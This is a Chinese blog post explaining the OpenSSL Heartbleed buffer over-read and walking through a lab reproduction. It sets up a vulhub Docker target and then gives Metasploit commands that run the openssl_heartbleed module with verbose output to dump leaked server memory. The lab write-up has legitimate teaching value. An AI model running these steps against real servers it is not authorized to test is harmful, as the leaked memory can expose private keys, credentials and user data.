心脏出血(Heartbleed)漏洞浅析、复现
一、漏洞介紹
心臟出血(英語:Heartbleed),也簡稱為心血漏洞,是一個出現在加密程序庫OpenSSL的安全漏洞,該程序庫廣泛用于實現互聯網的傳輸層安全(TLS)協議。它于2012年被引入了軟件中,2014年4月首次向公眾披露。只要使用的是存在缺陷的OpenSSL實例,無論是服務器還是客戶端,都可能因此而受到攻擊。此問題的原因是在實現TLS的心跳擴展時沒有對輸入進行適當驗證(缺少邊界檢查),因此漏洞的名稱來源于“心跳”(heartbeat)。該程序錯誤屬于緩沖區過讀,即可以讀取的數據比應該允許讀取的還多。
Heartbleed漏洞是由于未能在memcpy()調用受害用戶輸入內容作為長度參數之前正確進行邊界檢查。攻擊者可以追蹤OpenSSL所分配的64KB緩存、將超出必要范圍的字節信息復制到緩存當中再返回緩存內容,這樣一來受害者的內存內容就會以每次64KB的速度進行泄露。
二、漏洞復現
靶機:centos7 192.168.81.136
攻擊機:kali 192.168.81.135
確保兩臺測試機網絡能通
使用docker+vulhub搭建漏洞環境,在centos7上搭建vulhub的步驟如下:
1、安裝docker依賴包
yum install -y yum-utils device-mapper-persistent-data lvm2
2、安裝docker
yum install docker
3、啟動docker
systemctl start docker
4、下載vulhub
https://github.com/vulhub/vulhub/archive/master.zip
5、找到heartbleed,并進入,輸入命令docker-compose up -d運行漏洞環境
6、查看運行情況
7、打開kali,運行metaspolit
8、使用metasploit進行攻擊
1)搜索相關漏洞模塊兒
search Heartbleed
2)使用相關攻擊模塊
use auxiliary/scanner/ssl/openssl_heartbleed
3)查看需要配置的選項
Show options
4)對required為yes但是current setting為空的項進行設置,這里我們只需要設置rhosts(靶機ip)
set rhosts 192.168.81.136
5)開始攻擊并查看結果,出現白框字樣表示漏洞存在
Run
6)set verbose true#(設置verbose,這個設置要設置成true才能看到泄露的信息) 此設置主要是為了顯示整個過程以及leak出來的數據
注意:1、關閉防火墻 2、關閉selinux
總結
以上是生活随笔為你收集整理的心脏出血(Heartbleed)漏洞浅析、复现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 信息系统项目管理师计算题(进度管理计算)
- 下一篇: 常见的外围电路